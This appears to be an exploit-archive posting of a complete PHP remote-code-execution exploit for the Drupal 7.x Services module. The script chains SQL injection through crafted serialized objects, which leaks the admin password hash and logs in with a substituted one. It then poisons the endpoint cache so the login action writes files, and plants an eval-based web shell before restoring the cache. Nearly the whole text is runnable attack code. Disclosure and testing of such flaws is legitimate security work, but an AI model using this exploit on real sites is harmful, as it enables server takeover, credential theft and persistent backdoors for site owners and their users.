Drupal 7.x Module Services Remote Code Execution
Posted on 09 March 2017
# Exploit Title: Drupal 7.x Services Module Remote Code Execution # Vendor Homepage: https://www.drupal.org/project/services # Exploit Author: Charles FOL # Contact: https://twitter.com/ambionics # Website: https://www.ambionics.io/blog/drupal-services-module-rce #!/usr/bin/php <?php # Drupal Services Module Remote Code Execution Exploit # https://www.ambionics.io/blog/drupal-services-module-rce # cf # # Three stages: # 1. Use the SQL Injection to get the contents of the cache for current endpoint # along with admin credentials and hash # 2. Alter the cache to allow us to write a file and do so # 3. Restore the cache # # Initialization error_reporting(E_ALL); define('QID', 'anything'); define('TYPE_PHP', 'application/vnd.php.serialized'); define('TYPE_JSON', 'application/json'); define('CONTROLLER', 'user'); define('ACTION', 'login'); $url = 'http://vmweb.lan/drupal-7.54'; $endpoint_path = '/rest_endpoint'; $endpoint = 'rest_endpoint'; $file = [ 'filename' => 'dixuSOspsOUU.php', 'data' => '<?php eval(file_get_contents('php://input')); ?>' ]; $browser = new Browser($url . $endpoint_path); # Stage 1: SQL Injection class DatabaseCondition { protected $conditions = [ "#conjunction" => "AND" ]; protected $arguments = []; protected $changed = false; protected $queryPlaceholderIdentifier = null; public $stringVersion = null; public function __construct($stringVersion=null) { $this->stringVersion = $stringVersion; if(!isset($stringVersion)) { $this->changed = true; $this->stringVersion = null; } } } class SelectQueryExtender { # Contains a DatabaseCondition object instead of a SelectQueryInterface # so that $query->compile() exists and (string) $query is controlled by us. protected $query = null; protected $uniqueIdentifier = QID; protected $connection; protected $placeholder = 0; public function __construct($sql) { $this->query = new DatabaseCondition($sql); } } $cache_id = "services:$endpoint:resources"; $sql_cache = "SELECT data FROM {cache} WHERE cid='$cache_id'"; $password_hash = '$S$D2NH.6IZNb1vbZEV1F0S9fqIz3A0Y1xueKznB8vWrMsnV/nrTpnd'; # Take first user but with a custom password # Store the original password hash in signature_format, and endpoint cache # in signature $query = "0x3a) UNION SELECT ux.uid AS uid, " . "ux.name AS name, '$password_hash' AS pass, " . "ux.mail AS mail, ux.theme AS theme, ($sql_cache) AS signature, " . "ux.pass AS signature_format, ux.created AS created, " . "ux.access AS access, ux.login AS login, ux.status AS status, " . "ux.timezone AS timezone, ux.language AS language, ux.picture " . "AS picture, ux.init AS init, ux.data AS data FROM {users} ux " . "WHERE ux.uid<>(0" ; $query = new SelectQueryExtender($query); $data = ['username' => $query, 'password' => 'ouvreboite']; $data = serialize($data); $json = $browser->post(TYPE_PHP, $data); # If this worked, the rest will as well if(!isset($json->user)) { print_r($json); e("Failed to login with fake password"); } # Store session and user data $session = [ 'session_name' => $json->session_name, 'session_id' => $json->sessid, 'token' => $json->token ]; store('session', $session); $user = $json->user; # Unserialize the cached value # Note: Drupal websites admins, this is your opportunity to fight back :) $cache = unserialize($user->signature); # Reassign fields $user->pass = $user->signature_format; unset($user->signature); unset($user->signature_format); store('user', $user); if($cache === false) { e("Unable to obtains endpoint's cache value"); } x("Cache contains " . sizeof($cache) . " entries"); # Stage 2: Change endpoint's behaviour to write a shell class DrupalCacheArray { # Cache ID protected $cid = "services:endpoint_name:resources"; # Name of the table to fetch data from. # Can also be used to SQL inject in DrupalDatabaseCache::getMultiple() protected $bin = 'cache'; protected $keysToPersist = []; protected $storage = []; function __construct($storage, $endpoint, $controller, $action) { $settings = [ 'services' => ['resource_api_version' => '1.0'] ]; $this->cid = "services:$endpoint:resources"; # If no endpoint is given, just reset the original values if(isset($controller)) { $storage[$controller]['actions'][$action] = [ 'help' => 'Writes data to a file', # Callback function 'callback' => 'file_put_contents', # This one does not accept "true" as Drupal does, # so we just go for a tautology 'access callback' => 'is_string', 'access arguments' => ['a string'], # Arguments given through POST 'args' => [ 0 => [ 'name' => 'filename', 'type' => 'string', 'description' => 'Path to the file', 'source' => ['data' => 'filename'], 'optional' => false, ], 1 => [ 'name' => 'data', 'type' => 'string', 'description' => 'The data to write', 'source' => ['data' => 'data'], 'optional' => false, ], ], 'file' => [ 'type' => 'inc', 'module' => 'services', 'name' => 'resources/user_resource', ], 'endpoint' => $settings ]; $storage[$controller]['endpoint']['actions'] += [ $action => [ 'enabled' => 1, 'settings' => $settings ] ]; } $this->storage = $storage; $this->keysToPersist = array_fill_keys(array_keys($storage), true); } } class ThemeRegistry Extends DrupalCacheArray { protected $persistable; protected $completeRegistry; } cache_poison($endpoint, $cache); # Write the file $json = (array) $browser->post(TYPE_JSON, json_encode($file)); # Stage 3: Restore endpoint's behaviour cache_reset($endpoint, $cache); if(!(isset($json[0]) && $json[0] === strlen($file['data']))) { e("Failed to write file."); } $file_url = $url . '/' . $file['filename']; x("File written: $file_url"); # HTTP Browser class Browser { private $url; private $controller = CONTROLLER; private $action = ACTION; function __construct($url) { $this->url = $url; } function post($type, $data) { $headers = [ "Accept: " . TYPE_JSON, "Content-Type: $type", "Content-Length: " . strlen($data) ]; $url = $this->url . '/' . $this->controller . '/' . $this->action; $s = curl_init(); curl_setopt($s, CURLOPT_URL, $url); curl_setopt($s, CURLOPT_HTTPHEADER, $headers); curl_setopt($s, CURLOPT_POST, 1); curl_setopt($s, CURLOPT_POSTFIELDS, $data); curl_setopt($s, CURLOPT_RETURNTRANSFER, true); curl_setopt($s, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($s, CURLOPT_SSL_VERIFYPEER, 0); $output = curl_exec($s); $error = curl_error($s); curl_close($s); if($error) { e("cURL: $error"); } return json_decode($output); } } # Cache function cache_poison($endpoint, $cache) { $tr = new ThemeRegistry($cache, $endpoint, CONTROLLER, ACTION); cache_edit($tr); } function cache_reset($endpoint, $cache) { $tr = new ThemeRegistry($cache, $endpoint, null, null); cache_edit($tr); } function cache_edit($tr) { global $browser; $data = serialize([$tr]); $json = $browser->post(TYPE_PHP, $data); } # Utils function x($message) { print("$message "); } function e($message) { x($message); exit(1); } function store($name, $data) { $filename = "$name.json"; file_put_contents($filename, json_encode($data, JSON_PRETTY_PRINT)); x("Stored $name information in $filename"); }